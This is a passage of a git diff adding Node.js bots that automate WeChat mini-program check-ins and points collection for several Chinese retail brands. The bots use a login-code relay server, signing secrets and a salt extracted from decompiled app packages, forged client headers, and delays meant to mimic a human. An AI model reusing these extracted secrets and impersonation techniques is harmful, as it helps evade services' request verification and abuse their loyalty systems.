$.log(`账号[${this.index}] 签到完成${text ? `,${text}` : ""}`); + } catch (e) { + const message = e.message || e; + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/casetify.js b/wxapp/casetify.js new file mode 100644 index 00000000..cc795def --- /dev/null +++ b/wxapp/casetify.js @@ -0,0 +1,273 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: CASETiFY 签到 +cron: 46 8 * * * +------------------------------------------ +变量名:casetify +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("CASETiFY 签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wxd0c71d6bf928a416"; +const PAGE_VERSION = "160"; +const API_BASE = "https://mini-app-api.casetify.cn/api/v4"; +const WECHAT_ID = 260; +const POINT_MALL_TYPE = 13; +const TOKEN_CACHE_FILE = path.join(__dirname, "casetify_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "casetify"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function normalizeDate(value) { + const parts = String(value || "").split("-"); + if (parts.length !== 3) return String(value || ""); + return `${parts[0]}-${String(Number(parts[1])).padStart(2, "0")}-${String(Number(parts[2])).padStart(2, "0")}`; +} + +function today() { + const d = new Date(); + return `${d.getFullYear()}-${String(d.getMonth() + 1).padStart(2, "0")}-${String(d.getDate()).padStart(2, "0")}`; +} + +function isTokenError(message) { + return /token|登录|授权|invalid|expire|过期|401|403/i.test(String(message || "")); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.memberId = ""; + this.customerNo = ""; + this.phone = ""; + this.levels = ""; + this.campaignId = ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.getCampaignId(); + await this.doSign(); + this.saveCachedToken(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + token: this.token, + memberId: this.memberId, + customerNo: this.customerNo, + phone: this.phone, + levels: this.levels, + campaignId: this.campaignId, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.memberId = ""; + this.customerNo = ""; + this.campaignId = ""; + } + + applyToken(data = {}) { + this.token = data.token || ""; + this.memberId = data.memberId || data.id || ""; + this.customerNo = data.customerNo || ""; + this.phone = data.phone || ""; + this.levels = data.levels || ""; + this.campaignId = data.campaignId || ""; + } + + getHeaders(auth = false) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json", + }; + if (!auth) headers.token = this.token || ""; + return headers; + } + + async request(method, apiPath, data = {}, options = {}) { + const requestOptions = { + method, + url: `${API_BASE}/${apiPath}`, + headers: this.getHeaders(options.auth), + timeout: 20000, + validateStatus: () => true, + }; + if (method === "GET") requestOptions.params = data; + else requestOptions.data = data; + + const { status, data: result } = await axios.request(requestOptions); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!options.allowAnyCode && result?.resultCode !== "1") { + const err = new Error(result?.msg || JSON.stringify(result)); + err.resultCode = result?.resultCode; + throw err; + } + return result; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const result = await this.request("GET", `estore/member/onLogin/${code}/${WECHAT_ID}`, {}, { auth: true }); + const user = result.data || {}; + this.applyToken({ + token: user.token, + memberId: user.id, + customerNo: user.customerNo, + phone: user.phone, + levels: user.levels, + }); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${this.levels || "会员"} ${this.customerNo || this.memberId || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getCampaignId(true); + return true; + } catch (e) { + return false; + } + } + + async getCampaignId(silent = false) { + if (this.campaignId) return this.campaignId; + const result = await this.request("GET", "estore-campaign/campaign/info/get", { + campaignType: POINT_MALL_TYPE, + }); + const campaignId = result.data?.detail?.campaignId || result.data?.campaignId || ""; + if (!campaignId) throw new Error("未找到积分商城活动"); + this.campaignId = campaignId; + this.saveCachedToken(); + if (!silent) $.log(`账号[${this.index}] 积分商城活动: ${campaignId}`); + return campaignId; + } + + async getSignInfo() { + if (!this.campaignId) await this.getCampaignId(true); + const result = await this.request("GET", "estore-campaign/campaign/pointsMall/assignment/sign", { + campaignId: this.campaignId, + }); + return result.data || {}; + } + + async doSign() { + try { + const before = await this.getSignInfo(); + const signDays = Array.isArray(before.signDays) ? before.signDays : []; + const todayStatus = signDays.find((item) => normalizeDate(item.signDay) === today()); + const dailyTask = Array.isArray(before.assignDetail) + ? before.assignDetail.find((item) => item.assignmentName && item.assignmentName.includes("单日")) + : null; + if (todayStatus?.signStatus === 1 || dailyTask?.completeStatus === 1) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + + const sign = await this.request("POST", "estore-campaign/member/sign/do", {}, { allowAnyCode: true }); + if (sign.resultCode !== "1") { + const message = sign.msg || JSON.stringify(sign); + if (/已签|重复/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + throw new Error(message); + } + + const after = await this.getSignInfo(); + const task = Array.isArray(after.assignDetail) + ? after.assignDetail.find((item) => item.assignmentName && item.assignmentName.includes("单日")) + : null; + $.log(`账号[${this.index}] 签到成功: +${task?.awardPrice || "未知"}积分`); + } catch (e) { + const message = e.message || e; + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/daily/choubao.js b/wxapp/choubao.js similarity index 77% rename from daily/choubao.js rename to wxapp/choubao.js index 6dca4a4d..15dfff4c 100644 --- a/daily/choubao.js +++ b/wxapp/choubao.js @@ -7,7 +7,8 @@ cron: 30 9 * * * ------------------------------------------ #Notice: 臭宝乐园 微信小程序 签到得积分 换螺蛳粉 -抓https://cb-bags-slb.weinian.com.cn 请求头token 多账户&或换行. +抓https://cb-bags-slb.weinian.com.cn 请求头token 仅支持单账号 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code 因为抓到的有效期很短只有2小时 变量名称:choubaoleyuan ⚠️【免责声明】 ------------------------------------------ @@ -24,24 +25,68 @@ const { Env } = require("../tools/env") const $ = new Env("臭宝乐园"); +const WeChatServer = require("./wcs.js"); let ckName = `choubaoleyuan`; const strSplitor = "#"; const axios = require("axios"); const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wx2206cca563f6f937', + auth: process.env.wx_auth || "your-api-key", +} +); class Task { constructor(env) { this.index = $.userIdx++ this.user = env.split(strSplitor); - this.token = this.user[0]; + this.wcsid = this.user[0] } async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + this.token = 'Bearer' + this.token await this.getUserInfo() await this.track() await this.checkSign() + + } + async getUserToken(code) { + let options = { + method: 'POST', + url: `https://cb-bags-slb.weinian.com.cn/bff/v1/auth/wechatLogin`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + "authorization": "Bearer" + this.token + } + , + data: { + loginCode: code + } + } + let { + data: result + } = await axios.request(options); + if (result?.status == '200') { + this.token = result.data + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.msg}❌`) + } } async getUserInfo() { let options = { @@ -167,14 +212,19 @@ class Task { !(async () => { await getNotice() $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return } + })() .catch((e) => console.log(e)) .finally(() => $.done()); - async function getNotice() { try { let options = { diff --git a/wxapp/colorful.js b/wxapp/colorful.js new file mode 100644 index 00000000..8906e7cf --- /dev/null +++ b/wxapp/colorful.js @@ -0,0 +1,422 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 七彩虹微信小程序 签到 +cron: 30 10 * * * +------------------------------------------ +#Notice: +变量名:colorful +变量值:wx_server 里的 openid/账号标识,多账户&或换行;也兼容旧格式 token#refreshToken +需要配置:wx_server_url、wx_auth + +可选变量: + colorful_phone_login 是否允许用 /wx/getphonenumber 自动首登,默认 1(开启)。 + 七彩虹只有这一条首登路,等同小程序里点“手机号快捷登录”; + 不想授权就置 0,然后按 token#refreshToken 手填变量。 + +登录链路(逆自反编译包 wx49018277e65fc3e1 主包,逐行核对): + wx.login code -> POST /api/User/OnLogin {Code} -> 只返回 Data.OpenId + 手机号授权 code + 上一步 OpenId + -> POST /api/User/DecryptPhoneNumber {OpenId, Code} -> Data.Token / Data.RefreshToken + components/login-modal/login-modal.js:255-345 + 即:OnLogin 只是拿 OpenId(源码里存为 sessionAuthIdTool),唯一发业务 Token 的接口 + 是 DecryptPhoneNumber,主包里没有账号密码/短信登录端点(那个页面在空壳分包里)。 + 所以没有手机号授权时,只能用缓存或手填 token 运行。 + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("colorful七彩虹"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("../wxapp/wcs.js"); + +const ckName = "colorful"; +const strSplitor = "#"; +const MINI_APP_ID = "wx49018277e65fc3e1"; +const PAGE_VERSION = "91"; +const API_BASE = "https://interface.skycolorful.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "colorful_token_cache.json"); +// 手机号授权首登开关:默认开启(1)。七彩虹只有这一条首登路,等同小程序里点“手机号快捷登录”; +// 不想把手机号授权给七彩虹就置 0,然后自行填 token#refreshToken。 +const PHONE_LOGIN = !/^(0|false|no|off)$/i.test(String(process.env.colorful_phone_login ?? "1")); +const WX_SERVER_URL = process.env.wx_server_url || ""; +const defaultUserAgent = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027"; + +// 端点(common/vendor.js:2836、10820-10832、19617-19625) +const EP_ON_LOGIN = "/api/User/OnLogin"; // POST {Code} auth 无 +const EP_PHONE_LOGIN = "/api/User/DecryptPhoneNumber"; // POST {OpenId, Code} +const EP_USER_INFO = "/api/User/GetUserInfo"; // GET +const EP_IS_SIGN = "/api/User/IsSignV2"; // GET -> Data.IsSign +const EP_SIGN = "/api/User/SignV2"; // POST 无 body + +// 响应放行码:vendor.js:14036 a = [0,52001,52002,50001,51001,51002,40100,40101] +// 客户端把这些 Code + Success 视为成功,其余一律 reject +const SUCCESS_CODES = new Set([0, 52001, 52002, 50001, 51001, 51002, 40100, 40101]); + +const wechat = new WeChatServer({ + url: WX_SERVER_URL || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + const value = String(token || "").replace(/^Bearer\s+/i, ""); + return value ? `${value.slice(0, 6)}***${value.slice(-6)}` : ""; +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function md5(str) { + return crypto.createHash("md5").update(str).digest("hex"); +} + +function isTokenError(message) { + return /401|403|token|登录|授权|未登录|无效|过期|失效/i.test(String(message || "")); +} + +// 幂等:服务端对重复签到的文案不止一种,"已签" 匹配不到 "已经签到过了" +function isAlreadySigned(message) { + return /已签|已经签|签到过|重复|already/i.test(String(message || "")); +} + +function isSuccess(result) { + return SUCCESS_CODES.has(Number(result?.Code)) && result?.Success !== false; +} + +class Task { + constructor(env) { + this.index = $.userIdx++; + this.raw = String(env || "").trim(); + this.user = this.raw.split(strSplitor); + this.accountId = this.user[0].trim(); + this.token = ""; + this.refreshToken = ""; + this.openId = ""; + this.userInfo = {}; + this.signStatus = false; + // 旧格式 token#refreshToken:第一段是 JWT 而不是 openid + this.isLegacyToken = this.user.length >= 2 && /^ey[A-Za-z0-9_-]{10,}\./.test(this.accountId); + if (this.isLegacyToken) { + this.token = this.user[0].trim(); + this.refreshToken = this.user[1].trim(); + this.accountId = `legacy:${shortToken(this.token)}`; + } + } + + async run() { + if (!(await this.prepareToken())) return; + + await this.getSignInfo(); + if (this.signStatus) { + $.log(`🌸账号[${this.index}] 今日已签到`); + } else { + await this.signInV2(); + } + await this.getUserInfo(); + } + + /** 取到可用 token 返回 true;顺序:变量手填 -> 本地缓存 -> code 登录 -> 手机号授权 */ + async prepareToken() { + if (this.isLegacyToken) { + $.log(`账号[${this.index}] 使用变量里手填的 token: ${shortToken(this.token)}`); + this.saveCachedToken(); + if (await this.checkToken()) return true; + $.log(`账号[${this.index}] 变量里的 token 已失效,请重新获取`); + this.removeCachedToken(); + return false; + } + + const cached = this.getCachedToken(); + if (cached?.token) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token: ${shortToken(this.token)}`); + if (await this.checkToken()) return true; + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + + if (!(await this.loginByWxCode())) return false; + if (this.token) return await this.checkToken(); + + if (!PHONE_LOGIN) { + $.log( + `账号[${this.index}] 没有可用 token:七彩虹唯一的首登接口 ${EP_PHONE_LOGIN} 需要微信手机号授权 code(小程序里就是“手机号快捷登录”),而你把 colorful_phone_login 置成了 0。\n` + + ` 两种办法二选一:\n` + + ` 1) 允许手机号授权 -> 去掉 colorful_phone_login 或置 1,脚本自动用 wx_server 的 /wx/getphonenumber 首登;\n` + + ` 2) 继续不授权 -> 自行抓一次小程序请求,把 Authorization/X-Authorization 的两段值按 token${strSplitor}refreshToken 填进 ${ckName} 变量` + ); + return false; + } + return await this.loginByPhoneNumber(); + } + + cacheKey() { + return this.isLegacyToken ? this.accountId : this.raw; + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.cacheKey()] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.cacheKey()] = { + token: this.token, + refreshToken: this.refreshToken, + openId: this.openId, + userInfo: this.userInfo, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.cacheKey()]) { + delete cache[this.cacheKey()]; + writeTokenCache(cache); + } + this.token = ""; + this.refreshToken = ""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.token = data.token || data.Token || ""; + this.refreshToken = data.refreshToken || data.RefreshToken || ""; + this.openId = data.openId || data.OpenId || ""; + this.userInfo = data.userInfo || data.UserInfo || {}; + } + + /** 固定头 + Sign:vendor.js:13995-14015 g() 与 14041-14049 请求头拼装 */ + signedHeaders(extra = {}, auth = true) { + const appid = "815d8026-9a52-4445-a42c-a5443134232e"; + const requestId = crypto.randomUUID ? crypto.randomUUID() : $.uuid(); + const ticks = Date.now(); + const headers = { + "User-Agent": defaultUserAgent, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "*/*", + "Accept-Language": "zh-CN,zh;q=0.9", + "Content-Type": "application/json", + "requestId": requestId, + "AppId": appid, + "Ticks": String(ticks), + "Sign": md5(appid + ticks + requestId + "2b5c01fb-7640-401a-8188-43a13190a626"), + "source": "Wx", + "UcSource": "30", + "User-from": "xcx", + "version": "2.0.0", + "xweb_xhr": "1", + ...extra, + }; + if (auth) { + headers.Authorization = this.token ? `Bearer ${this.token}` : ""; + headers["X-Authorization"] = this.refreshToken ? `Bearer ${this.refreshToken}` : ""; + } + return headers; + } + + async request(apiPath, { method = "GET", data, params, auth = true } = {}) { + const options = { + method, + url: new URL(apiPath, API_BASE).toString(), + params, + headers: this.signedHeaders({}, auth), + timeout: 15000, + validateStatus: () => true, + }; + if (data !== undefined) options.data = data; + const { data: result, status, headers } = await axios.request(options); + // token 会随响应头轮换:vendor.js:14052-14054 + if (headers?.["access-token"]) this.token = headers["access-token"]; + if (headers?.["x-access-token"]) this.refreshToken = headers["x-access-token"]; + if (status === 401 || status === 403) throw new Error(`HTTP ${status}: ${result?.Message || JSON.stringify(result)}`); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!isSuccess(result)) throw new Error(`${result?.Code ?? ""} ${result?.Message || result?.msg || JSON.stringify(result)}`.trim()); + if (this.token) this.saveCachedToken(); + return result; + } + + /** + * 从 wx_server 取一次性 code。 + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 smallcat 的取码限流会被误当成七彩虹登录失败。 + */ + async getServerCode(endpoint = "/wx/code") { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 取 code"); + let data; + if (endpoint === "/wx/code") { + ({ data } = await wechat.getCode(this.accountId)); + } else { + const url = (WX_SERVER_URL || "http://192.168.31.196:8787").replace(/\/+$/, "") + endpoint; + ({ data } = await axios.post( + url, + { appid: MINI_APP_ID, openid: this.accountId }, + { headers: { auth: process.env.wx_auth }, timeout: 30000 } + )); + } + if (data?.status === false) throw new Error(`wx_server ${endpoint} 取码失败: ${data?.message || data?.error || "未知原因"}`); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server ${endpoint} 未返回 code`); + return code; + } + + /** OnLogin 只换 OpenId(源码里是 sessionAuthIdTool),个别账号可能直接带 Token */ + async loginByWxCode() { + try { + const code = await this.getServerCode("/wx/code"); + const result = await this.request(EP_ON_LOGIN, { + method: "POST", + auth: false, + data: { Code: code }, + }); + this.openId = result?.Data?.OpenId || ""; + const token = result?.Data?.Token || result?.Data?.token || ""; + if (token) { + this.token = token; + this.refreshToken = result?.Data?.RefreshToken || result?.Data?.refreshToken || ""; + this.saveCachedToken(); + $.log(`账号[${this.index}] CODE登录成功: ${shortToken(this.token)}`); + } + if (!this.openId && !this.token) throw new Error("OnLogin 未返回 OpenId"); + return true; + } catch (e) { + $.log(`账号[${this.index}] CODE登录失败: ${e.message || e}`); + return false; + } + } + + /** 唯一发业务 Token 的入口,需要微信手机号授权 code(用户已显式开启 colorful_phone_login) */ + async loginByPhoneNumber() { + try { + const phoneCode = await this.getServerCode("/wx/getphonenumber"); + const result = await this.request(EP_PHONE_LOGIN, { + method: "POST", + auth: false, + data: { OpenId: this.openId, Code: phoneCode }, + }); + this.token = result?.Data?.Token || this.token; + this.refreshToken = result?.Data?.RefreshToken || this.refreshToken; + if (!this.token) throw new Error(`登录成功但未返回 Token: ${result?.Message || ""}`); + this.saveCachedToken(); + $.log(`账号[${this.index}] 手机号授权登录成功: ${shortToken(this.token)}`); + return true; + } catch (e) { + $.log(`账号[${this.index}] 手机号授权登录失败: ${e.message || e}`); + return false; + } + } + + /** 只读校验:客户端登录后也是先 getUInfo(vendor.js:12568) */ + async checkToken() { + try { + const result = await this.request(EP_USER_INFO); + this.userInfo = result?.Data || {}; + this.saveCachedToken(); + return true; + } catch (e) { + return false; + } + } + + async signInV2() { + try { + const result = await this.request(EP_SIGN, { method: "POST" }); + $.log(`🌸账号[${this.index}]🕊签到${result.Message || "成功"}🎉`); + } catch (e) { + const message = String(e.message || e); + if (isAlreadySigned(message)) { + $.log(`🌸账号[${this.index}] 今日已签到`); + return; + } + $.log(`🌸账号[${this.index}] 签到失败:${message}❌`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getSignInfo() { + try { + const result = await this.request(EP_IS_SIGN); + this.signStatus = Boolean(result?.Data?.IsSign); + } catch (e) { + const message = String(e.message || e); + $.log(`账号[${this.index}] 查询签到状态失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getUserInfo() { + try { + const result = await this.request(EP_USER_INFO); + this.userInfo = result?.Data || {}; + this.saveCachedToken(); + $.log(`🌸账号[${this.index}]昵称:${this.userInfo.NickName || maskPhone(this.userInfo.Mobile) || "未知"} 积分:${this.userInfo.Point ?? "未知"}`); + } catch (e) { + const message = String(e.message || e); + $.log(`账号[${this.index}] 查询用户失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + await getNotice(); + $.checkEnv(ckName); + + for (const user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + const options = { + url: "https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json", + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000, + }; + const { data: res } = await axios.request(options); + $.log(res); + return res; + } catch (e) {} +} diff --git a/wxapp/dasenlin.js b/wxapp/dasenlin.js new file mode 100644 index 00000000..83bc176a --- /dev/null +++ b/wxapp/dasenlin.js @@ -0,0 +1,438 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 大参林 - 会员签到 + 种人参(浇水成长)活动 +cron: 35 8 * * * +------------------------------------------ +变量名:dasenlin +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +接口约定(主包 app-startup-new.js 的 ajax 封装): + · 默认 GET,参数走查询串,并自动带上 type=1 与 mini_token + · 成功判定 status ∈ {200,300,999} 或 code==="A0200";活动服务另用 resp_code==="0000" + datas + · 会员域 https://crmweixin.dslbuy.com,活动域 https://dcapi.dslbuy.com/dc-biz-activity + +签到 sign.do 的坑(2026-08-17 实测定位): + 签名参数必须拼在【查询串】上。旧版把 mobile/timestamp/sign 放进 axios 的 data, + GET 请求根本不会带上,服务端固定回 {"status":403,"message":"签到失败","data":{"tored":1}} + —— 长得像风控/活动限制,其实是参数没发出去。补齐后立刻变成正常的「今日已签到」。 + 对照实验:缺参 403 / 全参 200 / 故意错签 403,说明这个站点的 sign 是真校验的 + (salt 与 md5(mobile+timestamp+salt) 的算法正确)。 + +种人参(templateId=200,活动服务): + · 活动发现 /applet/activity/selectActivityByStore {templateId:200} -> {activityId, effectStatus} + · 成长状态 /applet/ginsengGameRecord/userLevelInfo {activityId} + -> {level, levelName, dripTotal, wateringTimes, dripThreshold, disparityXUp, joinActivity, tips} + · 浇水/领水滴接口在 apps/member/integralMall 分包里,下包 API 只给主包(两个 items 是同一个包, + SHA-256 一致,不存在第二个包),因此脚本只能读状态、不能代浇。要自动浇水需要抓一次 + 「种人参页点浇水」的请求(URL + method + body)。 + · 实测签到不产水滴(签完 dripTotal 仍为 0),水滴来自邀请助力/购物,脚本不做社交任务。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("大参林小程序签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx16ed9a8bbb188228"; +const PAGE_VERSION = "992"; +const CRM_BASE = "https://crmweixin.dslbuy.com"; +const ACT_BASE = "https://dcapi.dslbuy.com/dc-biz-activity"; +const TOKEN_CACHE_FILE = path.join(__dirname, "dasenlin_token_cache.json"); +const SIGN_SALT = "LYq76ucaPg2nsO7E"; +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/member-center/entrance/registryByWeiXinCode"; +const EP_SIGN_INFO = "/integralmall/signTemp/getByUser.do"; +const EP_SIGN = "/integralmall/userSign/sign.do"; +const EP_ACT_BY_STORE = "/applet/activity/selectActivityByStore"; +const EP_GINSENG_LEVEL = "/applet/ginsengGameRecord/userLevelInfo"; +const TEMPLATE_GINSENG = 200; + +let ckName = "dasenlin"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function todayText() { + const d = new Date(); + const y = d.getFullYear(); + const m = String(d.getMonth() + 1).padStart(2, "0"); + const day = String(d.getDate()).padStart(2, "0"); + return `${y}-${m}-${day}`; +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex").toLowerCase(); +} + +function getMessage(result) { + return result?.message || result?.msg || result?.resp_msg || JSON.stringify(result); +} + +function isSuccess(result) { + if (!result) return false; + const status = Number(result.status); + if ([200, 300, 999].includes(status)) return true; + return result.code === "A0200" || result.resp_code === "0000"; +} + +function isAlreadySigned(result) { + return Number(result?.status) === 1 || /今日已签到|已签到|已经签到|重复/.test(getMessage(result)); +} + +function isTokenError(message) { + return /300|311|token|登录|授权|未登录|无效|过期|您好,请登录/i.test(String(message || "")); +} + +class Task { + constructor(account) { + this.index = $.userIdx++; + this.account = String(account || "").trim(); + this.token = ""; + this.userInfo = {}; + this.signInfo = null; + } + + log(text) { + $.log(`账号[${this.index}] ${text}`); + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + this.log("使用缓存token"); + if (!(await this.checkToken())) { + this.removeCachedToken(); + this.log("缓存token失效,重新登录"); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.getSignInfo(); + await this.signIn(); + await this.ginsengTask(); + } + + getCachedToken() { + const cache = readTokenCache(); + const item = cache[this.account]; + return item && item.token ? item : null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.account] = { + token: this.token, + userInfo: this.userInfo || {}, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.account]) { + delete cache[this.account]; + writeTokenCache(cache); + } + this.token = 